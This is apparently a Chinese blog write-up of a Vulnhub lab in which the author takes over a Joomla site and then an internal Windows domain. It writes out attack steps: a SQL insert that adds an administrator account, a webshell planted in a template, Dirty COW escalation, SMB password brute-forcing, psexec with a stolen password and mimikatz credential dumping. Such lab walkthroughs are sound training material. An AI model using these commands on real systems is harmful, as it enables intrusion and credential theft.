环境搭建
将环境从官网上下载下来,只需要添加相应的一个VMNET2的网卡,且IP段为192.168.93.0/24
需要进入centos重启一下网卡,至少我是这么做的才找到IP。
本文涉及知识点实操练习:Vulnhub之Joomla(本节课主要讲解Vulnhub渗透测试实战靶场关于Joomla CMS的综合渗透练习,通过该实验学习渗透测试的信息收集、漏洞扫描与利用、权限提升,最终获取/root下的flag。)
拓扑图
WEB入口
主机发现
nmap-sn192.168.124.0/24
端口
nmap-sS192.168.124.16
收集到3个端口,暂不做全部扫描。那就先看下网站首页,如下。
web站点
是一个joomla的web页面,顺手一个administrator放在url后面,看到后台,看到后台,看到后台。我还是比较乐观的人,总想去尝试尝试一两个弱口令。现实总会给我一记响亮的耳光,失败告终。
只好掏出dirsearch,然后扫描下目录:
这是以php~结尾的后缀名,应该不会被当成php执行,所以,
这个时候,就可以连接数据库了,那就找密码进后台。
难道还是想我爆破?如果让我爆破,那这必然是个弱口令。先去网上子弹(字典),掏出大菠萝(john)就是一顿扫。子弹打完了,发现敌人丝毫不动,那,那宣告失败吧。都说失败是成功的爹。接着换思路,就是在本地搭建一个一模一样的。然后将自己mysql里的password字段复制到目标数据库中去或者添加一个新用户,太懒是原罪。然后,在网上找到直接添加到数据库的方法,在https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
改成目标机器上的表名就可以了:
INSERTINTO`am2zu_users`(`name`,`username`,`password`,`params`,`registerDate`,`lastvisitDate`,`lastResetTime`)VALUES('Administrator2','admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199','',NOW(),NOW(),NOW());INSERTINTO`am2zu_user_usergroup_map`(`user_id`,`group_id`)VALUES(LAST_INSERT_ID(),'8');# 这里就是添加了一个admin2的用户,密码为secret
虽然密码格式不一样,但是依然能进后台。
在模板处可以修改网站源代码:Extensions-->Templates,在index.php中插入一句话,保存。
该亮出尚方宝剑——蚁剑了,致命一击进入内网了。然后就翻车了
这,,,原来是被禁用了危险函数,虽然不能执行命令,但是能看到php版本,是php7的。然后发现蚁剑有专门的绕过disable_function的插件,姿势不错,有点狐气。然后针对php7的绕过挨个挨个试。
绕过了会弹出一个新的交互式shell界面
内网渗透
权限太低,是个www-data的权限。相信经过一番努力使用各种姿势提权,总会绝望的。那就只能是自己没有做好信息收集,找:定时任务、/home、/etc/passwd、网站根目录、/tmp目录。最后在/tmp/mysql/test.txt中看到用户名密码
但是并没有在本机器上发现这个 wwwuser 的用户。索性尝试下,又不犯罪。
竟然成功了?猜测应该做了转发将http请求转到内网的主机上,有内网就可以继续渗透。
而使用ssh连接的主机的网卡,有三个,一个连接外网,一个连接内网。
然后接着提权这台外网的主机,很顺利,看样子是有备而来。看了下内核为2.6.32 并且是centos的操作系统,直接使用脏牛提权成功。
获取一个msf会话,接着渗透。
后渗透
添加路由
meterpreter>runget_local_subnetsmeterpreter>runautoroute-s192.168.93.0/255.255.255.0
探测内网主机的存活
# 针对windowsuseauxiliary/scanner/smb/smb_version # linux useauxiliary/scanner/discovery/arp_sweep 用这个没有探测出windows主机
最终所有主机如下
三个windows,两个使用ms17-010,未果。都没能得到会话。
啊,这....。最后借鉴了下别人的方法,原来是爆破。字典不够强大,最后还是将密码添加到字典中去了(无可奈何)。假如说我爆破出来了
useauxiliary/scanner/smb/smb_loginsetSMBUSER administratorsetPASS_FILE /root/桌面/passlist
获取会话。目前的情况是windows在内网,添加的路由是把攻击机带入到内网,使用reverse_tcp是连接不上了,只能正向连接。
useexploit/windows/smb/psexecsetpayload windows/x64/meterpreter/bind_tcpsetrhosts 192.168.93.30setsmbuser administratorsetsmbpass 123qwe!ASD
然后拿到两个会话,这个exploit需要多尝试几次,才行。
查看是否在域环境
meterpreter> sysinfo
拿下域控
在server2008上发现域控登录后的记录,然后使用 mimikatz 获取到明文域控密码。
loadmimikatzmimikatz_command-f privilege::debugmimikatz_command-f sekurlsa::logonPasswords
得到域管理员账号密码。由于密码的特殊性,尝试使用wmiexec.py一直没成功,两个!!在linux是特殊符号,表示重新执行上一条命令。然后通过下面方法拿到shell
当前用户为
远程连接
runpost/windows/manage/enable_rdpproxychainsrdesktop192.168.93.20
网友评论